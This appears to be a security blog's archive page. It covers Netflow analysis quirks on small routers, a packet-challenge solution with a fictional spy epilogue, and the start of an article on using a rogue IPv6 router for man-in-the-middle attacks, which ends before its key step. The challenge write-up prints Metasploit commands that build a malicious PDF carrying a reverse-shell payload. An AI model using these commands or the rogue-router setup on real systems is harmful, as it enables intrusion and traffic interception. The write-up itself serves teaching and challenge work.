A Tale of Two Routers

Posted in Cisco, NSM on 14 September, 2011 by Alec Waters

Take a look at the diagram below, showing two (Cisco) routers. HugeCorpCoreRouter is a mighty behemoth with a six figure price tag. It has redundant route processors, handles many gigabits per second of business-critical traffic, has all sorts of esoteric connections and requires a squad of elite ninja black-ops CCIEs to keep it all running.

TinySOHORouter, by comparison, is a trivial speck on the corporate network diagram. It has a single ADSL connection and performs the usual SOHO tasks of NAT, firewall, DSL dialup, etc. Both routers export Netflow data to a central collector.

As you ponder my da Vinci-like Visio skills, consider the following question. Which router will pose the greater Netflow analysis challenge to the security team?


You’ve probably guessed it by now – the troublesome router is TinySOHORouter. HugeCorpCoreRouter, whilst powerful and complex, has a relatively easy job when it comes to Netflow. TinySOHORouter however has three sticking points that could prove to be troublesome for a Netflow analyst. None of the following features are typically running on your average big beefy HugeCorpCoreRouter:

  1. The firewall process (or any kind of filtering ACL). HugeCorpCoreRouter is concerned with forwarding datagrams as fast as possible through the core – firewall operarions do not live here
  2. The NAT process
  3. The dialer interface associated with the ADSL connection

Let’s look at each of these in turn.

Sponsor Alec!
I’m running the Brighton Half Marathon in aid of Help for Heroes – please sponsor me if you can by clicking the link to the right:

The firewall process

Netflow is, by default, an ingress-based technology, which means that the router’s flow cache is updated when datagrams are received by an interface. However, a datagram doesn’t have to enter and leave the router to leave an impression in the flow cache. This manifests itself in an interesting way when a firewall is sticking its oar in.

The Netflow v5 flow record format has fields that describe the SNMP interface indexes of the input and output interfaces for any given flow. This is useful, because it means that your Netflow analysis tools can tell you that when 10.11.12.13 spoke to the webserver on 192.168.0.1, the traffic from 10.11.12.13 entered the router on FastEthernet4/23 and left it on GigabitEthernet0/2. This also makes it possible to draw pretty per-interface graphs of Netflow traffic. (BTW, you’ll want to use the “snmp-server ifindex persist” command otherwise the SNMP interface indexes could change when the router reloads, which can really confuse analysis!)

But what if there were an ACL in place that drops all traffic to port 80 on 192.168.0.1? Dropped datagrams are one of the byproducts of any kind of firewall or ACL – how does Netflow handle those?

Let’s say a datagram from 10.11.12.13 is received, destined for 192.168.0.1:80. As this destination is denied by an ACL, the router duly drops it. Netflow, being an ingress technology, will still put an entry into the flow cache to describe the flow, despite the fact that the datagram was dropped by an ACL (even if the ACL is applied in the inbound direction on the receiving interface). There is no output interface for the flow in this case, so what does the router put into the flow record to denote this?

Flows that are either a) dropped by the router or b) destined for the router itself (SSH sessions, for example) will have zero in the output interface field, to show that the flow entered the router but did not leave.

So why is this a problem for the analyst?

Let’s say I run a report that shows all destination ports for destination IP address 192.168.0.1 (in a naive attempt to find out “what services have people been using on my server?”). Much to my surprise, port 80 features prominently. Why’s it in the report? Isn’t it blocked by an ACL? Have we been hacked? Has the APT Bogeyman paid us a visit?

Fortunately, we’re safe. Port 80 features because 10.11.12.13 tried to talk to it, causing a flow to be logged despite the fact that the ACL dropped the traffic. If you were to re-run the report asking for the number of bytes transferred between 10.11.12.13 and 192.168.0.1:80, we’d see 40 bytes in the client->server direction (the size of an IP datagram with a TCP SYN in it) and zero bytes in the server->client direction, which describes the ACL drop nicely.

Keep this in mind when designing reports based on Netflow data. Certain products like Netflow Analyser are able to take this behaviour into account to a certain degree (“Suppress Access Control List related drops”). Alternatively, you could use the Netflow v9 flow record format if your router and analysis tools support it. There is a useful field called “FORWARDING STATUS” which tells you if a flow was forwarded, dropped or consumed, allowing the analyst to differentiate between traffic dropped by the router and traffic destined for the router. Very handy.

The NAT process

Our second bugbear can also cause problems, especially if we want to ask questions like “show me all the traffic destined for the single PC behind TinySOHORouter” – the report in this case will be totally blank, even if the PC has been hitting Facebook all day long. But why?

Take the simple case of an HTTP flow between our single PC at 10.11.12.13 (a private IP address on a router’s FastEthernet0 interface) and 123.123.123.123 (a public webserver on the Internet via FastEthernet1). On its way out of the router, the private 10.11.12.13 gets NATted into 111.111.111.111, the IP address of FastEthernet1.

From Netflow’s point of view, it goes like this:

  • A TCP segment from 10.11.12.13 destined for 123.123.123.123 is received on Fa0. An entry in the Netflow cache accounts for this.
  • The router decides that the traffic should be sent out via Fa1, and does a source IP address NAT translation from 10.11.12.13 to 111.111.111.111 before it sends it on its way.
  • The TCP response is eventually received on Fa1 from 123.123.123.123 destined for 111.111.111.111, which is 10.11.12.13’s “outside” address. An entry in the Netflow cache accounts for this.
  • The NAT translation from 111.111.111.111 to 10.11.12.13 takes place, and the TCP response is sent out of Fa0.

Therefore, all of the returning traffic will be shown as destined for 111.111.111.111 and never 10.11.12.13 – this is because input accounting (including Netflow) occurs on the router before the NAT outside-to-inside translation takes place:

http://www.cisco.com/en/US/tech/tk648/tk361/technologies_tech_note09186a0080133ddd.shtml

There are three ways to either get around or assist with this problem:

  1. If your router and Netflow collector support it, disable ingress Netflow accounting on Fa1 and enable both ingress and egress Netflow accounting on Fa0 (the inside interface). This means that all flows will be accounted for on the “inside” of the NAT process. Take care, though – by doing this we are causing Netflow to “ignore” all traffic that does not cross Fa0. This may or may not be a problem, depending on your topology and requirements. Also, think very carefully about this approach if your router has many layer 3 interfaces. If ingress and egress Netflow were to be enabled on both Fa0 and Fa1, there’s a chance your Netflow collector could see duplicated flows.
  2. If your router and Netflow collector support it, you can use the “ip nat log translations flow-export” command. This will log all NAT translations in a flow template that looks like this:
    templateId=259: id=259, fields=11
        field id=8 (ipv4 source address), offset=0, len=4
        field id=225 (natInsideGlobalAddress), offset=4, len=4
        field id=12 (ipv4 destination address), offset=8, len=4
        field id=226 (natOutsideGlobalAddress), offset=12, len=4
        field id=7 (transport source-port), offset=16, len=2
        field id=227 (postNAPTSourceTransportPort), offset=18, len=2
        field id=11 (transport destination-port), offset=20, len=2
        field id=228 (postNAPTDestinationTransportPort), offset=22, len=2
        field id=234 (ingressVRFID), offset=24, len=4
        field id=4 (ip protocol), offset=28, len=1
        field id=230 (natEvent), offset=29, len=1

    This will give you a log of all NAT translations that you can use to find out the actual destination for the traffic from 123.123.123.123 to 111.111.111.111. Your Netflow collector may even be smart enough to correlate this information onto other “standard” flow exports, which would be a very neat trick indeed.

  3. If your router supports it, you can use the “ip nat log translations syslog” command. This will dump all NAT translations to syslog like this:
    Sep 14 12:31:39.740 BST: %IPNAT-6-CREATED:
    tcp 192.168.0.88:4021 212.74.31.235:4021
    192.150.8.200:443 192.150.8.200:443
    Sep 14 12:32:53.733 BST: %IPNAT-6-DELETED:
    tcp 192.168.0.88:4021 212.74.31.235:4021
    192.150.8.200:443 192.150.8.200:443

    Take care, though – this approach has the possibility to add significant load to your router, your syslog server, and your syslog analysis mechanisms – it becomes a manual task to correlate the NAT translations from syslog to the Netflow exports from your router.

The ADSL link’s dialer interface

It varies with platform and configuration, but when using a DSL line with PPPoE/PPPoA a plethora of virtual interfaces get created by the router. Of these, only the following are really of interest:

interface ATM 0/0/0
The physical ADSL interface

interface dialer 0
The dialer interface created by the user in order to connect to the DSL provider

interface virtual-access XX
A virtual interface created by the router, cloned from and bound to interface dialer0

Of these, only the dialer and virtual-access interfaces are layer 3 interfaces that can participate in Netflow, and of these the user only has direct control over the configuration of the dialer interface. So we just enable Netflow on TinySOHORouter’s dialer0 and inside ethernet interfaces and we’re done, right?

Not quite.

If you were to use your Netflow analysis tools to look at an interface graph for dialer0, all you will see is outbound traffic. You’ll also notice that the virtual-access interface has popped up as well, showing only inbound traffic. No one interface has the complete picture.

This is, interestingly enough, the expected behaviour. Traffic from the ethernet network leaves the router via dialer0 because that’s what the default route says to do (“ip route 0.0.0.0 0.0.0.0 dialer0”). Therefore, when the ethernet interface receives a datagram destined for the Internet, Netflow will put the SNMP interface index of dialer0 into the flow cache. However, the router doesn’t actually use dialer0 to send or receive traffic, it uses the virtual-access interface cloned from it. This means that when datagrams are received from the Internet, they enter the router on virtual-accessXX instead of dialer0 or any of the other associated interfaces. This is why the dialer shows only outbound traffic and the virtual-access shows only inbound. All very logical and intuitive, I’m sure you’ll agree…

How to get around this? Either just “keep in it mind” when performing analysis, or hope that your Netflow analysis tools have some way to cater for it by plotting the outbound traffic on dialer0 and the inbound traffic on virtual-accessXX on the same graph.

Those are all the Netflow analysis “gotchas” that spring to mind – can anyone think of any others?


Alec Waters is responsible for all things security at Dataline Software, and can be emailed at alec.waters@dataline.co.uk

The Spy Hunter, Part II – Solution

Posted in Packet Challenge, Spy Hunter on 14 August, 2011 by Alec Waters

The Spy Hunter, Part II is here. There’s an epilogue to the story here which will make more sense once you’ve read this post!

As with last time, we had a good number of entries to the challenge. It was a very close call, but the winner this time is Jeff Gibat! Well done Jeff; honorable mentions also go to Sairon Istyar, Marcelo Mandolesi and John Douglas.

Before going over Jeff’s answers, I’ll first go over the process needed to dissect the supplied pcap. My aim for the challenge was to require quite a diverse skillset in order to root out all the answers, including:

  • pcap analysis
  • IE cache forensics
  • Malware reverse engineering
  • Audio steganography
  • Relational database analysis

Opening the pcap in Wireshark and nosing around a little, we can see that we’re dealing with a stream of TFTP traffic between two hosts, 192.168.93.3 and 192.168.88.56:

If we apply a display filter of “tftp.opcode == 2” (“Write Request”), we can see that three files have been transferred, namely:

  • ARTIST_-_Spectrogram_-_TRACK_-_Secrets.wav
  • SHOPPINGLIST.7z
  • IECache.7z

The trick now is to extract these three from the capture. Wireshark doesn’t seem to be great at this, but there are several other tools which are including NetworkMiner, Xplico and TFTPgrab. Extra points to John Douglas who went above and beyond the call of duty and wrote his own parser to carve the three files out.

Loading the capture into NetworkMiner shows the three files it has extracted on the “Files” tab. Note that the wav file has had its filename truncated to twenty characters, which is a shame because the filename is a clue!

NetworkMiner will conveniently save these files for you in subdirectories under the AssembledFiles directory. Let’s examine the three in turn:

  • ARTIST_-_Spectrogram_-_TRACK_-_Secrets.wav
    This is a well formed wav file, but when you play it it’s not exactly tuneful.
  • SHOPPINGLIST.7z
    This is a well formed 7z archive, but it’s password protected.
  • IECache.7z
    Again, this one is a well formed 7z archive, but there’s no password protection here.

The third file is the low-hanging fruit at this point, so we’ll tackle it first. As hinted by the filename, it does indeed contain an IE Cache directory (mercifully quite a small one!). There are any number of tools for performing cache forensics; IECacheView is one of them. By clicking Select Cache Folder from the File menu and specifying the directory where you unzipped the .7z file we can take a look:

The cache directory shows someone logging into a webmail interface at mail.email4espionage.spy. Two messages are read, the first of which looks like this:

Return-Path: dave.nice@email4espionage.spy
Received: from email4espionage.spy ([127.0.0.1])
by mail.email4espionage.spy
; Fri, 8 Jul 2011 21:41:20 +0100
MIME-Version: 1.0
X-Mailer: MailBee.NET 6.0.2.220
X-Priority: 3 (Normal)
From: "Dave Nice" <dave.nice@email4espionage.spy>
To: roberto.tablato@email4espionage.spy,
kerry.nitpick@email4espionage.spy,
guatrau@email4espionage.spy,
steve.austen@email4espionage.spy,
pete.michaels@roseandcrown.pub
Cc: dave.nice@email4espionage.spy
Subject: Re: SIBHOD and friends team day out
Date: Fri, 08 Jul 2011 21:41:20 +0100
X-Originating-IP: 127.0.0.1
Message-ID: <2.6b59ee93be36ce1bad15@SIBHOD-1>
Content-Type: text/plain;
charset="utf-8"
Content-Transfer-Encoding: quoted-printable

Hi all,
The final list of attendees will be:
* Myself
* Bobby (NOT Suzy!)
* Kerry
* Pete
* Garry
Steve's not coming of course, and the Guatrau says he'll meet us at the BATCAVE for beers afterwards.

Venue:
HAPPYLAND; meet on Saturday 16th at BLACK TWO at 1430. Garry's got us great seats for Kung Fu Panda 2! He also says that a COWABUNGA is in effect at SODIUM - let's eat first, and we can watch the film with plunder in hands!

The boring bit:
Following standard SIBHOD procedure, I am issuing a tentative UTOPIA to everyone for the duration of the outing. Please act like it - do not group up before reaching BLACK TWO. Sit in groups of no more than two at SODIUM.

The fun bit:
Come in fancy dress as one of the Furious Five. There will be a prize for the best outfit. I call Po!

See you next Saturday,
Dave

OK, sounds like a fun day out, and we’ve got some names, places and cryptic codewords to chew over as we go on.

The next email looks like notification of a Twitter DM:

This looks like the phishing message sent by Yellow Sun from @HomerHicks to @UltraVenona, bearing the recognition code “scelidosaurus” provided by Donald Burgess and the link provided by Keith Starr. The person whose IE cache we’re going through could therefore be @UltraVenona himself!

The  IE cache also shows that the link above was indeed clicked as Yellow Sun hoped it might be, and a file called TNM-Defect-943024.pdf was downloaded – this is the exploit supplied by Starr to compromise @UltraVenona’s machine. By analysing this file, we can determine what Starr’s intent was, but the short answer is that it’s a standard MetaSploit exploit:

=[ metasploit v4.0.1-dev [core:4.0 api:1.0]
+ -- --=[ 721 exploits - 367 auxiliary - 74 post
+ -- --=[ 226 payloads - 27 encoders - 8 nops
=[ svn r13543 updated today (2011.08.12)

msf > use exploit/windows/fileformat/adobe_cooltype_sing
msf exploit(adobe_cooltype_sing) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(adobe_cooltype_sing) > set LHOST 192.168.93.2
LHOST => 192.168.93.2
msf exploit(adobe_cooltype_sing) > set LPORT 4444
LPORT => 4444
msf exploit(adobe_cooltype_sing) > set FILENAME
TNM-Defect-943024.pdf
FILENAME => TNM-Defect-943024.pdf
msf exploit(adobe_cooltype_sing) > exploit

[*] Creating 'TNM-Defect-943024.pdf' file...
[*] Generated output file /home/user/.msf4/data/exploits/TNM-Defect-943024.pdf

When @UltraVenona opened this file with his vulnerable PDF reader, Keith Starr got a Meterpreter shell on @UltraVenona’s machine. The Yellow Sun strikeback is looking pretty good at this point!

Having dug about as deeply as possible into the IE cache it’s time to turn our attention to the other two files, the tuneless wav and the password protected SHOPPINGLIST.7z. Having to brute-force the password for the 7z isn’t really in the spirit of a packet challenge, so perhaps the password is present in the evidence somewhere. Let’s see where analysing the wav file gets us.

As I mentioned, there’s a clue in the filename of the wav file, which is present in full in the pcap – ARTIST_-_Spectrogram_-_TRACK_-_Secrets.wav. I’m sure that Spectrogram are indeed the Greatest Band The World Has Ever Known, but a spectrogram is also a visualisation of an audio signal. Several tools are available to render spectrograms of audio files, such as Spectrogram 5 which you can download here. Run it up, select Analyze File from the File menu, and load up our wav file. You’ll be treated to the view below:

Our little visualisation has revealed some text! Perhaps “IamJamesBond” is the passphrase to SHOPPINGLIST.7z? We’ll find that out in a minute – for now, here’s a quick explanation of how I created the wav.

First, I created a white on black image file containing the phrase IamJamesBond. Then I loaded it into Coagula with Open Image from the file menu:

Now select “Render without blue” from the Sound menu, and finally “Save Sound As” from the File menu. Load the resulting wav file into Spectrogram to see the goodness.

Right, back to the plot. Does IamJamesBond open up SHOPPINGLIST.7z? Why yes, it does! There’s only one file in the archive, called SHOPPINGLIST.db. Sounds like a database file, but what type?

morpheus:~# file SHOPPINGLIST.db
SHOPPINGLIST.db: SQLite 3.x database

There are many tools available for analysing SQLite databases, and SQLite Maestro is a very nice one. The first thing we need to do with any unknown database is determine its structure, in terms of tables, columns and foreign key relationships. SQLite Maestro makes this quite straightforward – select Designer from the Tools menu, then hit “Reverse Engineering” under General. You will be rewarded with a schema diagram a little like this:

I tried to make the database as meaningful and realistic as possible in terms of structure and foreign key naming conventions. There are straightforward one-to-many joins, like the one between the Person and the Photo table, which represent relationships like “one person may have many photos”. There are also self-referential foreign keys which reference the same table rather than another one, e.g. Person.Reports_To is a foreign key onto Person.ID – this represents the organisation’s hierarchy. The AgentPlacement and Employment tables facilitate many-to-many joins, representing, for example, the fact that a single agent can be placed in many organisations and also that a single organisation may have many agents in it. Have a nose around, especially in the Codewords table, and hopefully things will all make sense (including why the database itself is called SHOPPINGLIST!).

The bulk of the mission objectives can be fulfilled with careful analysis of the database, so without further ado we’ll move on to Jeff’s answer. Where Jeff has expanded out a codeword I will supply the original, and I will also give appropriate SQL statements to back up Jeff’s answers. I’ll use italics to differentiate.

Over to Jeff:

Determine how Starr took over UltraVenona’s computer. What exploit and delivery mechanism did he use?

  • Delivery mechanism: PDF
  • Exploit: javascript heap overflow in PDF. More info to come. I used Didier Steven’s pdfid and pdf-parser to extract the javascript. The Javascript which is called when the document is opened creates a large array in memory of what probably contains nop sleds and shellcode repeated. There was no exec() or other function call from the javascript so my initial hunch is that by allocating such a large amount of memory, it crashes the reader application and control finds its way to the shellcode.

Determine the name of the Adversary organisation. Are they a foreign intelligence service, or some other kind of organisation?

The Sinister Icy Black Hand of Death (greatest covert intelligence agency the world has ever seen) (Look in the Organisation table)

Determine if Yellow Sun is the Adversary’s only target, or if there are others

Other target: NybbleComms (Look in the Organisation table)

Determine the names and aliases of the agents employed by the Adversary, plus the Adversary’s organisational hierarchy

Name Alias_Name Notes
Dave Nice Ultra Venona Assigned by SIBHOD
Donald Burgess Homer Hicks Assigned by SIBHOD
Kerry Nitpick Arnold Davies Assigned by SIBHOD
Kerry Nitpick Keith Starr Known alias, used for non-SIBHOD business
Kerry Nitpick Rock Studman Self-defined nickname used in futile attempts to impress the ladies
Kerry Nitpick Scorpion Assigned by SIBHOD
Pete Michaels Argus Assigned by SIBHOD
Pete Michaels Pubmeister Nickname used by acquaintances and customers
Real name unknown The Guatrau Assigned by SIBHOD
Roberto Tablato Little Bobby Tables Assigned by SIBHOD
Roberto Tablato Silky Suzy Assigned by SIBHOD; only uses this alias on Friday nights at The Pink Oyster Social Club (MARKET)
Steve Austen Kim Philby Assigned by SIBHOD
Steve Austen Stanley Assigned by SIBHOD
Susan Jones Barbie Assigned by SIBHOD

SELECT
Person.Name, Alias.Alias_Name, Alias.Notes
FROM
Person
INNER JOIN Alias ON (Person.ID = Alias.Person_FK)
ORDER BY
Person.Name

Organizational Hierarchy:

Susan Jones reports to Pete Michaels
Pete Michaels, Donald Burgess, Kerry Nitpick, and Roberto Tablato report to Dave Nice
Dave Nice and Steve Austen report to The Boss (Name unknown).

SELECT
Person.Name as 'Person',
Boss.Name as 'Boss'
FROM
Person Boss
INNER JOIN Person ON (Person.Reports_To = Boss.ID)
ORDER BY
Boss.Name

Determine where these people have “day jobs”

Name Organization Name Job description
Dave Nice The Sinister Icy Black Hand of Death Agent handler. The best looking, most skilled operative on SIBHOD’s payroll haha
Donald Burgess Yellow Sun Heavy Industries Employed as a low-level tech support worker. Hasn’t been promoted in over ten years. Easily manipulated
Garry Francis MacDoddy’s Flips burgers
Garry Francis The Picture House Mans the popcorn booth
Kerry Nitpick The Sinister Icy Black Hand of Death Technical support (client side exploits)
Pete Michaels The Rose and Crown Pub Bartender
Real name unknown The Sinister Icy Black Hand of Death The Boss. Do what he says.
Roberto Tablato The Sinister Icy Black Hand of Death Technical support (web appsec)
Steve Austen The Sinister Icy Black Hand of Death Recruiter. Keeps his distance in order to remain covert long-term. Aside from New Potential Recruits (GREENHILLS), only The Guatrau has ever met him in person; possibly schoolfriends?
Susan Jones Yellow Sun Heavy Industries HR secretary dating Pete Michaels. Loves to gossip about co-workers. Abuses her position in HR to feed her addiction to gossip. Unwittingly supplies Michaels with useful information

SELECT
Person.Name,
Organisation.Name,
Employment."Job description"
FROM
Person
INNER JOIN Employment ON (Person.ID = Employment.Person_FK)
INNER JOIN Organisation ON (Employment.Organisation_Fk = Organisation.ID)
ORDER BY
Person.Name

Determine details of their cover placements in target organisations, their mission objectives, and which aliases are used for each placement

Name Alias_Name Organization Name Mission objectives
Kerry Nitpick Arnold Davies NybbleComms Embed backdoors into the guidance software of tactical cruise missiles from NybbleComms (CANDYSTORE). Once we have the ability to control an arbitrary missile in flight, the Guatrau wants a flashy joystick to go on his desk to fly them with
Roberto Tablato Silky Suzy The Pink Oyster Social Club Work Friday nights as a hostess – uses this position to get “close” to patrons for intel gathering and blackmail purposes. Just don’t ask how close he gets….
Pete Michaels Argus The Rose and Crown Pub Overhear the conversations of intoxicated Yellow Sun (GOLDMINE) employees. Use this together with intel from Barbie to supply New Potential Recruits (GREENHILLS) to Stanley
Donald Burgess Homer Hicks Yellow Sun Heavy Industries Obtain the plans to Project ThatsNoMoon from Yellow Sun (GOLDMINE). Short-term throwaway asset. Has extremely limited tradecraft, and is likely to be a liability once used – cut all ties immediately he delivers useful assets
Susan Jones Barbie Yellow Sun Heavy Industries Long-term asset. Has no idea she’s being used by Argus to supply information on Yellow Sun (GOLDMINE) employees.

SELECT
Person.Name,
Alias.Alias_Name,
Organisation.Name,
AgentPlacement."Mission objectives"
FROM
AgentPlacement
INNER JOIN Organisation ON (AgentPlacement.Organisation_Fk = Organisation.ID)
INNER JOIN Alias ON (AgentPlacement.Alias_FK = Alias.ID)
INNER JOIN Person ON (Alias.Person_FK = Person.ID)

If possible, determine what the agents look like

Donald Burgess

Donald Burgess

Roberto Tablato

Roberto Tablato

Roberto Tablato as Silky Suzy

Roberto Tablato as Silky Suzy

Dave Nice

Dave Nice

Pete Michaels

Pete Michaels

Kerry Nitpick

Kerry Nitpick

Susan Jones

Susan Jones

Garry Francis

Garry Francis

(Get this lot out of the photo table)

If possible, speculate on the means by which Burgess was identified and recruited, and the existence of Project ThatsNoMoon leaked

Burgess AKA Homer Hicks was probably identified and recruited while drinking at the Rose and Crown Club

If any arrests are to be made, when and where might be best to round up as many members of the Adversary at once?

SIBHOD and friends team day out!

The Picture House Cinema on the High Street (HAPPYLAND), Saturday the 16th Popcorn Stall (BLACK TWO) at 2:30. Mac Doddy’s (SODIUM) is giving away Kung Fu Panda toys in their happy meals (COWABUNGA), so they will eat there first.

Everyone will be suspected compromised for the duration of the outing (UTOPIA). They will not group up before reaching the popcorn stall.  Won’t sit in groups of more than 2 at MacDoddy’s.

Attendance should be: Dave, Bobby, Kerry,Pete, and Garry

Speculate on the reason for Starr’s sudden exit and subsequent disappearance

Starr (Kerry Nitpick) became tense and agitated and exited because once he started inspecting the data he realized that his employer, SIBHOD, was the adversary, and the person he just hacked, ULTRAVENONA, is actually his boss, Dave Nice!


Great work, Jeff! Despite Yellow Sun’s total vetting failure in employing Keith Starr aka Kerry Nitpick, they have totally unpicked SIBHOD’s operations. The only question now is what they will choose to do with this information – stay tuned for Part III!


Alec Waters is responsible for all things security at Dataline Software, and can be emailed at alec.waters@dataline.co.uk

The Spy Hunter, Part II – Epilogue

Posted in Packet Challenge, Spy Hunter on 10 August, 2011 by Alec Waters

Kerry Nitpick wanted to run. But to do so would be to draw attention to himself, to “show out” as the pavement artists call it. He did not know if the surveillance team following him was real or merely in his imagination, but either way he was certain they were there.

They’d probably been on him since he left Yellow Sun HQ thirty minutes ago. YS hadn’t trusted him from day one – they’d likely been watching him ever since. The team was probably plotted up away from the building; no need to have their own eyes-on in such a controlled environment. That goon in the security hut at the gate must have been the trigger.

An aware target masquerading as an unaware one, Kerry strained his hearing, trying to hear them on their radios.

RED has the eyeball
GREEN backing
BLUE, I’m on the other side of the street

Despite the odds, the advantage was still his. He knew that as he turned left onto Laker Street they’d do their silly little dance, same as always, regular as clockwork.

RED, Target is approaching nearside turn onto Laker Street
BLUE moving up to cover

He’d be able to see Blue now if he looked over his right shoulder. He considered taking an extra step or two before turning the corner just to rattle them, but that would have tipped them off that he knew they were there. “Never let them know that you know,” Dave always used to say, “That’s Rule #1.” Rule #1 changed with the wind, but this one had held the title at least once.

He turned left onto Laker Street.

RED that’s the target Left Left onto Laker Street; handover
BLUE has the eyeball. Target proceeding, corner is clear
GREEN turning Left Left; I have the eyeball
BLUE backing
RED, I’m on the other side of the street

Laker Street was routinely pounded by suburban traffic, rattling the sash windows of the tall Victorian homes on the left hand side. Most properties had basements with steps leading down from the street; RED ONE was one such basement flat, number 221b. As he passed it he looked as closely as he could without turning his head. Everything seemed in order, but he certainly wasn’t going in through the front door. RED ONE was chosen for a very good reason, one which the surveillance team was soon to discover to their cost.

Leaving the steps to RED ONE behind, he maintained his pace but quickened his thoughts. The next left turn onto Kingsway had to be just right – he’d have three or four seconds tops to evade his pursuers. The window was tight, but terrain was on his side.

GREEN, Target is approaching nearside turn onto Kingsway
RED There’s no more footpath – I can’t move up to cover the corner! There’s too much traffic for me to step into the road
GREEN, That’s understood. If the Target takes the nearside turn I’ll clear the corner myself and we’ll carry out cornering drill without you. Catch up when you can
RED, That’s received

With Red neutered by the short footpath, Kerry turned left onto Kingsway, passing the corner shop. As he did so he removed his jacket and increased his walk almost to a jog.

GREEN that’s the Target Left Left onto Kingsway. Temporarily unsighted

Out of sight of the surveillance team, Kerry turned left one last time into the alleyway alongside the corner shop. Running now, he made for the rubbish bin that stood in front of the six foot gate that blocked further passage and obscured the alley’s access to the rear of the properties on Laker Street.

GREEN, I’m crossing Kingsway. No sign of Target. Loss, Loss

Lent by adrenaline the agility of a fitter man, he leapt onto the bin and threw his jacket over the thin strand of barbed wire that topped the gate. He hauled himself over and down the other side, tugging the shredded remains of his jacket behind him.

BLUE turning Left Left onto Kingsway. No sign of Target. Loss, Loss

Moving down the alleyway to the rear entrance of number 221b, the surveillance team’s comms chatter faded to silence.

GREEN, Total Loss, Total Loss. Commence search pattern

Finally inside RED ONE, Kerry took stock. It was supposed to be a straightforward penetration job; a simple exploit, lift some assets, get out. It would have been so much better had the target not turned out to be his boss, his real boss. All this “need to know” nonsense just gets a man into trouble. Why hadn’t Dave told him SIBHOD had already penetrated Yellow Sun? Why wouldn’t Yellow Sun tell him who the target was? Keith Starr would never have taken the job if he’d known.

So he did the best he could. He wasn’t going to give Yellow Sun anything that would damage SIBHOD; instead he turned over part of Dave’s tasteless music collection, plus his shopping list and his IE cache. Total junk, but better than nothing. It certainly bought him a ticket out of Yellow Sun’s front door.

But what to do next? From the files he turned over to Yellow Sun, he was certain there was nothing that could link him to either Dave or SIBHOD. Keith Starr’s professional reputation would take a bit of a hit, but if he kept his mouth shut, no harm done, surely? Or perhaps he should come clean to Dave, at least to tell him to update his PDF reader. Or maybe silence is golden – SIBHOD is not an organisation that tolerates failure…

A full write up of the winning solution to the Spy Hunter Part II Packet challenge is here!


Alec Waters is responsible for all things security at Dataline Software, and can be emailed at alec.waters@dataline.co.uk

The Spy Hunter, Part II

Posted in Packet Challenge, Spy Hunter on 13 July, 2011 by Alec Waters

Donald Burgess, aka HomerHicksIn the wake of the Donald Burgess affair, Yellow Sun Heavy Industries finds itself in an uncomfortable situation. The top secret plans for Project ThatsNoMoon are in the hands of an unknown Adversary, and the traitorous Burgess has disappeared.

Only by taking positive action of its own can Yellow Sun hope to salvage the situation…

Evidence has been collected as the result of offensive action on the part of Yellow Sun against their unknown Adversary. Are you up to the challenge of maximising the haul’s intelligence yield? Click here to find out!


Alec Waters is responsible for all things security at Dataline Software, and can be emailed at alec.waters@dataline.co.uk

Eyesight to the Blind – SSL Decryption for Network Monitoring

Posted in Crypto, NSM on 28 June, 2011 by Alec Waters

Here’s another post I wrote for the InfoSec Institute. This time, the article shows how to add SSL decryption to your NSM infrastructure, restoring the eyesight of sensors blinded by the use of SSL.

You can read the article here; comments welcome, as always!


Alec Waters is responsible for all things security at Dataline Software, and can be emailed at alec.waters@dataline.co.uk

The Case of the Great Router Robbery

Posted in Cisco, Information Leaks, Networking on 23 May, 2011 by Alec Waters

Here’s another post I wrote for the InfoSec Institute. What are the consequences for an enterprise if one of their branch routers is stolen? Read the article here – comments welcome!


Alec Waters is responsible for all things security at Dataline Software, and can be emailed at alec.waters@dataline.co.uk

The SLAAC Attack – using IPv6 as a weapon against IPv4

Posted in IPv6, Networking on 4 April, 2011 by Alec Waters

This article, written by myself, was originally published at InfoSec Institute in April 2011. The version below is the original text, without edits made by InfoSec Institute.

As anyone who has watched the reimagined Battlestar Galactica will tell you, Sixes are trouble. They are undoubtedly alluring, but all the while they are working covertly, following The Plan, right under the noses of their targets. Nobody realises the true nature of the threat until it’s too late.

The Internet also has its own Six, IPv6 (formerly IPng – IP Next Generation). Modern operating systems ship with it by default, but adoption has been slow for many reasons. Despite the passing of the IPocalypse, it lies largely dormant within today’s networks, waiting for the chance to rise up and usurp its IPv4 predecessor.

This article describes a proof of concept of an interesting application of IPv6. I’m going to show you how to impose a parasitic IPv6 overlay network on top of an IPv4-only network so that an attacker can carry out man-in-the-middle (MITM) attacks on IPv4 traffic.

IPv6 Background

Aside from the increased address space, IPv6 is fundamentally different to IPv4 in several key areas. This article isn’t intended to be an IPv6 primer, but I’ll highlight the main features that are relevant to the attack.

Firstly, IPv6 does not use ARP – instead, there are a set of neighbour discovery protocols implemented over ICMPv6 that allow hosts to discover the physical addresses of others on the local link. Also, routers routinely advertise their presence on the local link by multicasting “Router Advertisement” (RA) messages.

When an IPv6-aware host receives an RA, it can derive itself a valid routable IPv6 address by means of a process called Stateless Address Auto Configuration (SLAAC). The host will use the source address of the RA as its default gateway.

In as much as it facilitates automatic host addressing, SLAAC sounds a lot like DHCP in the IPv4 world. However, SLAAC alone can’t supply all of the configuration parameters that a host might need (DNS servers, for example), so DHCPv6 is still needed to fill the gaps. It turns out that you need RA, SLAAC and DHCPv6 to accomplish for IPv6 what DHCP alone can do for IPv4, but that’s another story.

Theory of operation

This proof of concept targets Windows 7 hosts, but the theory ought to apply to any operating system that ships with IPv6 installed and operational by default. Let’s start with a diagram of the target network:

slaacattack1

Pretty straightforward stuff; everything’s IPv4, and the border router is performing the usual NAT and firewall tasks. Let’s also assume that various countermeasures are in place to thwart conventional IPv4 MITM techniques such as ARP spoofing.

What we’re going to do is physically introduce a router, evil-rtr, to the target network. evil-rtr has two network interfaces – the victim facing interface is IPv6 only, and the Internet connected interface is IPv4 only. Our aim is to use evil-rtr to create a parasitic IPv6 overlay network that’s totally under our control, as shown by the tinted area in the diagram below:

slaacattack2

evil-rtr will send RAs to the local network which will cause the hosts to derive routable IPv6 addresses for themselves. It is also equipped with a DHCPv6 server to supply the address of a recursive DNS server that’s under our control (evil-DNS in the diagram above). What we have not done is connect our IPv6 overlay network to the IPv6 Internet – evil-rtr only has a connection to the IPv4 Internet.

The Special Sauce

The changes made by introducing evil-rtr are pretty benign so far. Thanks to evil-rtr’s RAs, all the target hosts have routable IPv6 addresses in addition to their IPv4 ones, plus the address of a DNS server. This isn’t enough to do anything useful – we need another ingredient to progress the attack.

